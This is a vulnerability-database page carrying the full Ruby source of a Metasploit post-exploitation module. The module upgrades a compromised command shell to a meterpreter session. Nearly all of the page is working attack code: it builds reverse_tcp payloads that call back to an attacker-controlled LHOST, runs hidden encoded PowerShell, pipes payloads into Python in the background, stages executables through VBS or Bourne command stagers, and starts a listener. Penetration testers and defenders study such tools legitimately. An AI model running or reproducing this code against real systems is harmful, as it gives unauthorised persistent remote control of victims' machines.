Lucene search
+L

Shell to Meterpreter Upgrade

🗓️ 21 Oct 2016 17:31:18Reported by Tom Sellers <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 1218 Views

Upgrade command shell to meterpreter for multiple platforms

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/exploitation/cmdstager'

class MetasploitModule < Msf::Post
  include Exploit::Powershell
  include Post::Architecture
  include Post::Windows::Powershell

  VALID_PSH_ARCH_OVERRIDE = ['x64', 'x86']
  VALID_PLATFORM_OVERRIDE = Msf::Platform.find_children.map { |plat| plat.realname.downcase }

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Shell to Meterpreter Upgrade',
        'Description' => %q{
          This module attempts to upgrade a command shell to meterpreter. The shell
          platform is automatically detected and the best version of meterpreter for
          the target is selected. Currently meterpreter/reverse_tcp is used on Windows
          and Linux, with 'python/meterpreter/reverse_tcp' used on all others.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Tom Sellers <tom [at] fadedcode.net>'],
        'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ],
        'SessionTypes' => [ 'shell', 'meterpreter' ]
      )
    )
    register_options(
      [
        OptAddressLocal.new('LHOST',
                            [false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]),
        OptInt.new('LPORT',
                   [true, 'Port for payload to connect to.', 4433]),
        OptBool.new('HANDLER',
                    [ true, 'Start an exploit/multi/handler to receive the connection', true])
      ]
    )
    register_advanced_options([
      OptInt.new('HANDLE_TIMEOUT',
                 [true, 'How long to wait (in seconds) for the session to come back.', 30]),
      OptEnum.new('WIN_TRANSFER',
                  [true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]),
      OptEnum.new('PLATFORM_OVERRIDE',
                  [false, 'Define the platform to use.', nil, VALID_PLATFORM_OVERRIDE]),
      OptEnum.new('PSH_ARCH_OVERRIDE',
                  [false, 'Define the powershell architecture to use', nil, VALID_PSH_ARCH_OVERRIDE]),
      OptString.new('PAYLOAD_OVERRIDE',
                    [false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]),
      OptString.new('BOURNE_PATH',
                    [false, 'Remote path to drop binary']),
      OptString.new('BOURNE_FILE',
                    [false, 'Remote filename to use for dropped binary']),
      OptInt.new('COMMAND_TIMEOUT',
                 [true, 'How long to wait (in seconds) for a result when executing a command on the remote machine.', 15]),
    ])
    deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
  end

  def command_timeout
    datastore['COMMAND_TIMEOUT']
  end

  # Run method for when run command is issued
  def run
    print_status("Upgrading session ID: #{datastore['SESSION']}")

    # Try hard to find a valid LHOST value in order to
    # make running 'sessions -u' as robust as possible.
    if datastore['LHOST']
      lhost = datastore['LHOST']
    elsif framework.datastore['LHOST']
      lhost = framework.datastore['LHOST']
    else
      lhost = session.tunnel_local.split(':')[0]
      if lhost == 'Local Pipe'
        print_error 'LHOST is "Local Pipe", please manually set the correct IP.'
        return
      end
    end

    # If nothing else works...
    lhost = Rex::Socket.source_address if lhost.blank?

    lport = datastore['LPORT']

    # Handle platform specific variables and settings
    if datastore['PAYLOAD_OVERRIDE']
      unless datastore['PLATFORM_OVERRIDE']
        print_error('Please pair PAYLOAD_OVERRIDE with a PLATFORM_OVERRIDE.')
        return nil
      end
      unless datastore['PLATFORM_OVERRIDE'].in? VALID_PLATFORM_OVERRIDE
        print_error('Please provide a valid PLATFORM_OVERRIDE')
        return nil
      end
      payload_name = datastore['PAYLOAD_OVERRIDE']
      payload = framework.payloads.create(payload_name)
      platform = datastore['PLATFORM_OVERRIDE']
      unless payload
        print_error('Please provide a valid payload for PAYLOAD_OVERRIDE.')
        return nil
      end
      if platform.downcase == 'windows' || platform.downcase == 'win'
        unless datastore['PSH_ARCH_OVERRIDE']
          print_error('Please provide a PSH_ARCH_OVERRIDE')
          return nil
        end
        unless datastore['PSH_ARCH_OVERRIDE'].in? VALID_PSH_ARCH_OVERRIDE
          print_error('Please provide a valid PSH_ARCH_OVERRIDE')
          return nil
        end
        psh_arch = datastore['PSH_ARCH_OVERRIDE']
      end
      lplat = payload.platform.platforms
      larch = payload.arch
    else
      case session.platform
      when 'windows', 'win'
        platform = 'windows'
        lplat = [Msf::Platform::Windows]
        arch = get_os_architecture
        case arch
        when ARCH_X64
          payload_name = 'windows/x64/meterpreter/reverse_tcp'
          psh_arch = 'x64'
        when ARCH_X86
          payload_name = 'windows/meterpreter/reverse_tcp'
          psh_arch = 'x86'
        else
          print_error('Target is running Windows on an unsupported architecture such as Windows ARM!')
          return nil
        end
        larch = [arch]
        vprint_status('Platform: Windows')
      when 'osx'
        platform = 'osx'
        payload_name = 'osx/x64/meterpreter/reverse_tcp'
        lplat = [Msf::Platform::OSX]
        larch = [ARCH_X64]
        vprint_status('Platform: OS X')
      when 'solaris'
        platform = 'python'
        payload_name = 'python/meterpreter/reverse_tcp'
        vprint_status('Platform: Solaris')
      else
        # Find the best fit, be specific with uname to avoid matching hostname or something else
        target_info = cmd_exec('uname -ms')
        if target_info =~ /linux/i && target_info =~ /86/
          # Handle linux shells that were identified as 'unix'
          platform = 'linux'
          payload_name = 'linux/x86/meterpreter/reverse_tcp'
          lplat = [Msf::Platform::Linux]
          larch = [ARCH_X86]
          vprint_status('Platform: Linux')
        elsif target_info =~ /darwin/i
          platform = 'osx'
          payload_name = 'osx/x64/meterpreter/reverse_tcp'
          lplat = [Msf::Platform::OSX]
          larch = [ARCH_X64]
          vprint_status('Platform: OS X')
        elsif remote_python_binary
          # Generic fallback for OSX, Solaris, Linux/ARM
          platform = 'python'
          payload_name = 'python/meterpreter/reverse_tcp'
          vprint_status('Platform: Python [fallback]')
        end
      end
    end

    if platform.blank?
      print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
      return nil
    end

    vprint_status("Upgrade payload: #{payload_name}")

    payload_data = generate_payload(lhost, lport, payload_name)
    if payload_data.blank?
      print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
      return nil
    end

    if datastore['HANDLER']
      listener_job_id = create_multihandler(lhost, lport, payload_name)
      if listener_job_id.blank?
        print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
        return nil
      end
    end

    case platform.downcase
    when 'windows'
      if session.type == 'powershell'
        template_path = Rex::Powershell::Templates::TEMPLATE_DIR
        psh_payload = case datastore['Powershell::method']
                      when 'net'
                        Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data)
                      when 'reflection'
                        Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)
                      when 'old'
                        Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
                      when 'msil'
                        raise 'MSIL Powershell method no longer exists'
                      else
                        raise 'No Powershell method specified'
                      end

        # prepend_sleep => 1
        psh_payload = 'Start-Sleep -s 1;' << psh_payload

        encoded_psh_payload = encode_script(psh_payload)
        cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true))
      elsif have_powershell? && (datastore['WIN_TRANSFER'] != 'VBS')
        vprint_status('Transfer method: Powershell')
        psh_opts = { persist: false, prepend_sleep: 1 }
        if session.type == 'shell'
          cmd_exec("echo. | #{cmd_psh_payload(payload_data, psh_arch, psh_opts)}")
        else
          psh_opts[:remove_comspec] = true
          cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, command_timeout, { 'Channelized' => false })
        end
      else
        print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
        vprint_status('Transfer method: VBS [fallback]')
        exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
        aborted = transmit_payload(exe, platform)
      end
    when 'python'
      vprint_status('Transfer method: Python')
      cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary}", nil, command_timeout, { 'Channelized' => false })
    when 'osx'
      vprint_status('Transfer method: Python [OSX]')
      payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload_data, {})
      cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary} & disown", nil, command_timeout, { 'Channelized' => false })
    else
      vprint_status('Transfer method: Bourne shell [fallback]')
      exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
      aborted = transmit_payload(exe, platform)
    end

    if datastore['HANDLER']
      vprint_status('Cleaning up handler')
      cleanup_handler(listener_job_id, aborted)
    end

    nil
  end

  #
  # Get the Python binary from the remote machine, if any, by running
  # a series of channelized `cmd_exec` calls.
  # @return String/nil A string if a Python binary can be found, else nil.
  #
  def remote_python_binary
    return @remote_python_binary if defined?(@remote_python_binary)

    python_exists_regex = /Python (2|3)\.(\d)/

    if cmd_exec('python3 -V 2>&1') =~ python_exists_regex
      @remote_python_binary = 'python3'
    elsif cmd_exec('python -V 2>&1') =~ python_exists_regex
      @remote_python_binary = 'python'
    elsif cmd_exec('python2 -V 2>&1') =~ python_exists_regex
      @remote_python_binary = 'python2'
    else
      @remote_python_binary = nil
    end

    @remote_python_binary
  end

  def transmit_payload(exe, platform)
    #
    # Generate the stager command array
    #
    linemax = 1700
    if session.exploit_datastore['LineMax']
      linemax = session.exploit_datastore['LineMax'].to_i
    end
    opts = {
      linemax: linemax
      # :nodelete => true # keep temp files (for debugging)
    }
    case platform
    when 'windows'
      opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, 'exploits', 'cmdstager', 'vbs_b64')
      cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
    when 'osx'
      opts[:background] = true
      cmdstager = Rex::Exploitation::CmdStagerPrintf.new(exe)
    else
      opts[:background] = true
      opts[:temp] = datastore['BOURNE_PATH']
      opts[:file] = datastore['BOURNE_FILE']
      cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)
    end

    cmds = cmdstager.generate(opts)
    if cmds.nil? || cmds.empty?
      print_error('The command stager could not be generated.')
      raise ArgumentError
    end

    #
    # Calculate the total size
    #
    total_bytes = 0
    cmds.each { |cmd| total_bytes += cmd.length }

    vprint_status('Starting transfer...')
    begin
      #
      # Run the commands one at a time
      #
      sent = 0
      aborted = false
      cmds.each.with_index do |cmd, i|
        # The last command should be fire-and-forget, otherwise issues occur where the original session waits
        # for an unlimited amount of time for the newly spawned session to exit.
        wait_for_cmd_result = i + 1 < cmds.length
        # Note that non-channelized cmd_exec calls currently return an empty string
        ret = cmd_exec(cmd, nil, command_timeout, { 'Channelized' => wait_for_cmd_result })
        if wait_for_cmd_result
          if !ret
            aborted = true
          else
            ret.strip!
            aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
          end
          if aborted
            print_error('Error: Unable to execute the following command: ' + cmd.inspect)
            print_error('Output: ' + ret.inspect) if ret && !ret.empty?
            break
          end
        end

        sent += cmd.length
        progress(total_bytes, sent)
      end
    rescue ::Interrupt
      # TODO: cleanup partial uploads!
      aborted = true
    rescue StandardError => e
      print_error("Error: #{e}")
      aborted = true
    end

    return aborted
  end

  def cleanup_handler(listener_job_id, aborted)
    # Return if the job has already finished
    return nil if framework.jobs[listener_job_id].nil?

    framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) do
      if !aborted
        timer = 0
        timeout = datastore['HANDLE_TIMEOUT']
        vprint_status("Waiting up to #{timeout} seconds for the session to come back")
        while !framework.jobs[listener_job_id].nil? && timer < timeout
          sleep(1)
          timer += 1
        end
      end
      print_status('Stopping exploit/multi/handler')
      framework.jobs.stop_job(listener_job_id)
    end
  end

  #
  # Show the progress of the upload
  #
  def progress(total, sent)
    done = (sent.to_f / total.to_f) * 100
    print_status(format('Command stager progress: %3.2f%% (%d/%d bytes)', done.to_f, sent, total))
  end

  # Method for checking if a listener for a given IP and port is present
  # will return true if a conflict exists and false if none is found
  def check_for_listener(lhost, lport)
    client.framework.jobs.each do |_k, j|
      next unless j.name =~ %r{ multi/handler}

      current_id = j.jid
      current_lhost = j.ctx[0].datastore['LHOST']
      current_lport = j.ctx[0].datastore['LPORT']
      if lhost == current_lhost && lport == current_lport.to_i
        print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
        return true
      end
    end
    return false
  end

  # Starts a exploit/multi/handler session
  def create_multihandler(lhost, lport, payload_name)
    pay = client.framework.payloads.create(payload_name)
    pay.datastore['RHOST'] = rhost
    pay.datastore['LHOST'] = lhost
    pay.datastore['LPORT'] = lport

    print_status('Starting exploit/multi/handler')

    if check_for_listener(lhost, lport)
      print_error('A job is listening on the same local port')
      return
    end

    # Set options for module
    mh = client.framework.exploits.create('multi/handler')
    mh.share_datastore(pay.datastore)
    mh.datastore['WORKSPACE'] = client.workspace
    mh.datastore['PAYLOAD'] = payload_name
    mh.datastore['EXITFUNC'] = 'thread'
    mh.datastore['ExitOnSession'] = true
    # Validate module options
    mh.options.validate(mh.datastore)
    # Execute showing output
    mh.exploit_simple(
      'Payload' => mh.datastore['PAYLOAD'],
      'LocalInput' => user_input,
      'LocalOutput' => user_output,
      'RunAsJob' => true
    )

    # Check to make sure that the handler is actually valid
    # If another process has the port open, then the handler will fail
    # but it takes a few seconds to do so.  The module needs to give
    # the handler time to fail or the resulting connections from the
    # target could end up on on a different handler with the wrong payload
    # or dropped entirely.
    select(nil, nil, nil, 5)
    return nil if framework.jobs[mh.job_id.to_s].nil?

    mh.job_id.to_s
  end

  def generate_payload(lhost, lport, payload_name)
    payload = framework.payloads.create(payload_name)

    unless payload.respond_to?('generate_simple')
      print_error("Could not generate payload #{payload_name}. Invalid payload?")
      return
    end

    options = "LHOST=#{lhost} LPORT=#{lport} RHOST=#{rhost}"
    payload.generate_simple('OptionStr' => options)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation